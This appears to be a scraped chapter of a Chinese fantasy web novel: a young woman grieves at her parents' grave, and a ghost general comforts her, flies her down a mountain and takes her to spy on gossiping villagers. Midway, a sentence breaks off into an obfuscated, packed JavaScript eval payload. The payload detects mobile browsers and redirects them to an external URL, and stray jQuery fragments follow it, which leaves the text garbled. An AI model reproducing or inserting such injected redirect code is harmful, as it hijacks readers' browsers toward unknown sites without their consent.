40. 带你装逼带你飞

    双峰山上的天空,短暂的晴朗片刻,乌云又折返回来作客。


    裴长离望天,心里算着,时间过去挺久,应该差不多了,便动身回去。


    从林中走出,他拨开树枝,只见楚柒坐在了墓碑前,怀里抱着酒瓶子,都拿颠倒了,应该是空了。


    他走近,俯身,看她。这一连串动静都没吸引到她注意,她的目光始终放在早已熄灭的三炷香上。天气实在潮湿,刚落的香灰都浸湿黏在一块。


    不胜酒力的楚柒,沾了几滴酒后没什么感觉,便大胆又灌下几口,慢知慢觉这酒不是她能沾的。


    “······将军你去哪了?”不等他说话,她又说:“去这么久,还以为你偷偷下山了呢。”


    裴长离:“那你为何不来找我?”


    楚柒脸颊上有些红晕,她觉得脸热,拿手机一照,果然红得明显。她自认脸皮厚,没想到实际比她想的薄,这么轻易就上脸了。


    “我和我爸妈摆龙门阵呢。”醉了,但她也清楚,都是生者自欺欺人而已,要是她爸妈真在附近,她会发现不了?


    “将军,我怀疑我爸妈不是真正的死亡,他们可能也是什么神明转世,现在没准在天上或下面哪儿活得好好的。”


    裴长离单脚蹲下,和她平视。


    “要不然为什么我从始至终都看不到他们的灵魂呢,我觉得有蹊跷。当年那场大火,我明明······”


    “看到有人影闯进来——若不是人为,那就是鬼患。”


    小时候她一直坚信并坚称那是个人。


    可杨警官左查右查,查不到所谓的人,种种迹象表明,她看到的或许不是人。


    而她一直麻痹自己,是人,不是鬼。


    “因为······”她想吐露憋在心中许久的话:“如果是鬼,那就是因我而招来的灾祸······”


    说出来了,却不觉压力减轻,心脏某处反而还揪疼起来,就像有刀尖在那搅动。眼里的迷糊渐渐散去,水汪汪的一双眼,却失去灵气。


    “就像那些道士,他们冒着被我爸妈揍的风险也要说不好听的话,说我是多灾多难的命格,就像那些人所说,我是个扫把星,身边人一定会离我而去······我——”


    她的嘴被捂上,他冰凉的手覆过来,一只手就遮住了她半张脸。


    “不对,”他伸回手,轻轻握拳,“你的想法不对。如果是人,那不怪你,你父母的死是那罪犯的罪责,你要做的是别让他逍遥法外,送他进监狱。如果是鬼,那更不怨你,鬼害人,鬼纠缠你,统统是鬼自发而为,你明明也是受害人,却要把鬼的罪孽往自己身上揽。”


    楚柒眼中恢复清明,醉意已经随风散了,心中一阵一阵的拧痛慢慢消退。


    “若是鬼害死你的父母,那更好,不再管你们人间的法律,你自己就是审判官。”裴长离左手抬起,指尖点上她的左手掌心,无意触碰到那道疤。


    “······你父母的仇,用你自己的手来报。”他说着,眼中闪过森冷杀气。


    楚柒微微收紧左手,掌心已经结痂,感觉不到疼痛,只能感到异物感。丑陋的结痂组织在洁白的掌间,分外触目惊心。


    裴长离的话像那疤痕一样,落在掌心、印到心里。


    她的心间一阵悸动,好像某个拧巴而纠集的心结有所松动。


    她想她应该说点什么,但最后脱口的是:“别看我手了,难看死了。”


    两人之间的氛围被她一句话破坏,裴长离忍俊不禁,“不难看······”


    那一刻,他脑中似乎划过什么,总觉得此情此景分外熟悉,一句话突然出现在他头脑中,不想错过,便顺口而出。


    “伤疤是斗争的证明,是活着的痕迹,是勇气的勋章······”


    “噗呲”一声,楚柒绷不住笑出声,“将军你怎么这么中二,哈哈哈······原来你是这样的将军。”


    裴长离无奈,那句话大概是生前什么人和他说的,居然给他如此深刻的印象,一向空白的脑中难得闪回生前的只言片语。


    他心中记下,收住思绪,打断楚柒讨嫌的笑声道:“太阳要落山了。”


    楚柒遗憾地望向西边,“唉,太阳都要落山了,我们赶紧下山吧,还要赶末班车。”


    双峰山上空,乌云聚集,太阳滑落半山,穿透乌云边缘与远处的山峦相接,光照不再炽烈。


    楚柒收拾完东西,到墓碑前,她伸手抚摸了一下石碑,擦掉一角沾的泥腥。


    “过段时间再来看你们,那个送财童子我不确定起不起用,你们要是没收到钱,就先省着点用——哦,我差点忘了,你们也可以去找阎王爷借点,全记我账上,等我再过个几十年一定去找他老人家连本带利还上。”


    “啧啧啧——”


    不合时宜的切声打断楚柒,不用回头,便知是谁才会发出这么贱兮兮的声音。


    太阳还没下山,凶煞就出来了。想煽情的心一扫而空。


    “下次你们俩轮班的时候能不能做个预告?”


    这几天,将军和凶煞切换的频率逐渐规律,只是换人时都无声无息的,很容易让她闹出笑话。


    裴长离好奇地捡起酒瓶子,里面传出的酒香很醇厚,他的关注点很奇特:“一点不剩,你还走得动?”


    “我没喝几口,醉不了,就算真醉了又能怎样,你还能抗我下山不成。”


    楚柒开个玩笑,却见裴长离的神情一滞,思索着,眼神中闪着诡异的光。


    随后,他笑了,笑得楚柒心弦一紧,他道:“是个好主意。”


    楚柒顿知大事不妙,他绝对不安好心······


    裴长离果真“听劝”,他动作太快,一下扛起她。


    “快放我下去,我恐高啊。”楚柒尖叫,双手胡乱抓住,但铠甲滑溜溜的,根本抓不住。


    裴长离动作丝毫不拖泥带水,将她抗到一边肩上,脚一点地,就跃向半空。


    楚柒还没反应过来,双脚已经腾空,整个心脏都高悬起来,她浑身僵硬,生怕乱动就滑落下去。


    裴长离微微皱眉,觉得她过于僵直,像扛着个木头一样,不舒服,换个手。于是,他二话不说将她凌空抛起——


    “不要——”一声尖叫划破夕阳。


    一滞空,脱离开唯一能扶着的物体,楚柒心脏都跳了出来,她下意识地用劲吃奶的劲儿去抓住任何能抓住的东西。


    裴长离刚抬起双手准备接她,毫无防备,就被楚柒的魔爪如同索命一般死死勒住。他被扑了个满怀,带着体温而柔软的躯体扑面而来。


    他瞳孔地震,心神失去平静,脚下跟着失去平衡。


    运功受阻,就要下降,他顺着这股下降的势,带她平稳滑翔。很快就滑落到一棵树上,他脚尖轻盈,落于树顶。


    一直处于凌空状态的楚柒,感到身体的下坠感终于停止,飞出天际的心脏慢半拍落回胸腔。


    她脸色苍白,双目失神,浑然不觉自己死死抱着什么。


    “别勒这么紧,我现在还是人身,快憋死我了。”


    始作俑者被勒在她怀中尴尬的位置,闷哼出声。


    楚柒反应过来,松开力道,僵硬的身体放松了点,一看脚下距离地面十几米,手又立即勾回他的脖颈。


    裴长离公主抱着楚柒,不愿低头,只留给怀中人刀削般的下颌线。


    夕阳正红火,映照在树顶的二人身上,霞光掩盖住两人脸庞上的红晕。


    楚柒估计是脑袋刚回血才红的脸,另一个家伙,因为什么就不得而知了。


    “你快放我下去。”


    裴长离听完不动,胸腔内传来震动,“那什么车,又慢又颠簸,我带你飞回去不比坐车快?”


    楚柒可不放心他的驾驶技术,她多希望她酒没醒,让她醉死过去,刚才的经历不想再体验一次。


    “刚刚是意外,谁让你······勒我脖子。你老实不动,我就能好好飞。”


    “再说,上次也带你飞过,你怎么不说恐高。”


    楚柒半信半疑,他会这么好心,不是为了整她吗?


    她不禁发问:那么代价是什么呢?


    “······那个酒挺不错,给我一瓶当报酬。”


    达咩,太贵了,那不是她能拥有得起的东西。


    “那么······只好放你下去······”说着,真要作势松开她。


    楚柒绷紧双臂,脚背绷直,死死抱住他。


    “等等,换个报酬,怎么样。”


    一想起那摇摇车排山倒海的气势,再想想裴长离的带飞技术。


    长痛不如短痛,都是过山车,不如坐个路程短点的。


    裴长离居高临下,鼻孔看人,眼中闪过一丝得意。“也不是不可以,但我现在想不出来其他条件。先记下,下次找你算账。”


    他没给她预告,脚下一点,又起飞了。


    “啊啊啊······”尖叫声此起彼伏。


    搭乘特快专列,楚柒三下五除二就从山上下来。她的魂已经丢了一半,到达小拱桥上,裴长离放她下来走路。


    她狼狈地踉跄两步,才堪堪站稳。


    不得不说,她适应高空之后,便没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271598|163615||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    第一次起飞时那么吓人。


    此时裴长离的实体褪去,已化作虚影。


    他让楚柒稍缓几秒后,飘到她身后,半透明的双手各自从后托举起她的手。


    当他一贴近,楚柒便嗅到淡淡的梨花香气。


    她无措地低头看他的一左一右的手,不知自己的手该怎么放,这又是什么操作?


    他说:“抓紧我的手。”


    不容她拒绝,他便先入为主,握住她的手腕,很轻易地就托起了她。


    不同刚才,这次她腾空得很轻巧,和之前饿死鬼那次逃跑时飞差不多的感觉,就好像她自己能漂浮起来一样。


    别问,问就是魔法,这是鬼魂状态下的裴长离特有的魔法。


    寒气靠近,吹拂过她的耳边。


    “趁下雨前,想去看看村子里的人吗?”


    “看他们做什么?”


    他轻蔑一笑:“挺好奇,去听听某些人背后怎么议论你的。听听他们说的准不准······”


    楚柒觉得他的目的不像嘴上说的那么单纯,危险得倒像是要去胡作非为似的。


    “不想去。”


    “好。”他选择性失聪,两只手扶着她的手腕,轻轻一推搡,她便不受控制地跟着他前进了。


    裴长离目的明显,带着她飞上一家又一家的屋顶,搜寻着什么人。楚柒提心吊胆,“你在找谁?我给你指路。”她怕再这么横冲直撞的,会被下面的人发现。


    他们随机落在一个小平房上,裴长离看她,“还能找谁,白天多嘴的那俩人呗。你们两个都没出息,当时要是我在······”楚柒自动过滤掉他血腥暴力具有不良导向的话。


    他这副模样,总有一股子哥哥我带你装逼带你飞的黄毛小流氓的既视感。


    但她相信,他不是口嗨,是真能说到做到。


    “算了吧,罪不至此,而且他们家一直那样,跟谁都不对付。”


    过去这么多年,村里的正常人都顾着自家的事,没多少人还一直记着他们家的事,也就那个她该叫什么三姨四姨的远房亲戚左一次右一次提,像这种眼里除了自己就见不得别人好的人,与其多说无益,他们只听得进自己想听的。


    你要是和他们计较,还正好如了他们意。


    裴长离不满意她息事宁人的态度,好不容易外出一趟,按耐不住作妖的心。他挑衅道:“莫非,你不敢?”


    “才不是。”


    “就是不敢。”


    “真不是,她说她的,我又不会少块肉,和他们较真反而惹一身腥。”


    “那不就是不敢。”


    楚柒无奈一笑,和他犟嘴也是同理,你要是较真了,就正好趁了他的意。


    裴长离见她笑,皱起眉。她不笑,不痛快,现在笑了,更不痛快。


    他仿佛吃了柠檬,酸言酸语:“你运气真好,心情不好都要人连番上阵哄你。”


    楚柒抓住关键点:“原来你也是为了哄我才······”


    裴长离当场黑脸:不是,没有,不承认。


    “小女子何德何能······”


    知道楚柒说不出好话,为了堵她的嘴,他一秒原地起飞。


    在狂风中凌乱的楚柒:“······”


    村头有两户挨着的人家,中间隔着半米,用水泥砌了个结实的矮墙隔开。


    那对夫妇在院子里拌嘴。


    女人用西南乡音数落对方:没本事,连求个药都不敢求。


    求药?楚柒侧耳聆听。


    “我们这个鸟不拉屎的村子好不容易有个道长能上门,听说要住进村长家里好几天才走,你放下脸皮去找村长通通气,不就能见到道长了。”


    “你嘴皮子放利索点,跟道长好好问个安,讲清楚我们家孩子的情况,请他看个病有什么难的?”


    女人噼里啪啦一通斥责,男人半天就憋出个:“行行行,就你会讲,你怎么不自己去找道长。”


    “你还跟我犟嘴,得,我跟着你去,我就不信了,请个道士有多困难。”


    女人嘴里不停嘟嘟囔囔,走进屋里,不一会儿就抱出一个年幼的孩子,本还在熟睡中的孩子,一被抱出门吹了凉风惊醒过来,哇哇哭喊着:妈妈、妈妈,我不要走,不要去打针。


    女人腾不出手,使唤男人把门给带上,男人不情不愿,“跟你讲了你不听,去趟市里的大医院看病,比找什么道士靠谱。”


    女人固执己见,装听不见。男人受一肚子窝囊气,还是锁上门,跟在女人屁股后面走。


    楚柒和裴长离默契对视一眼,跟上他们。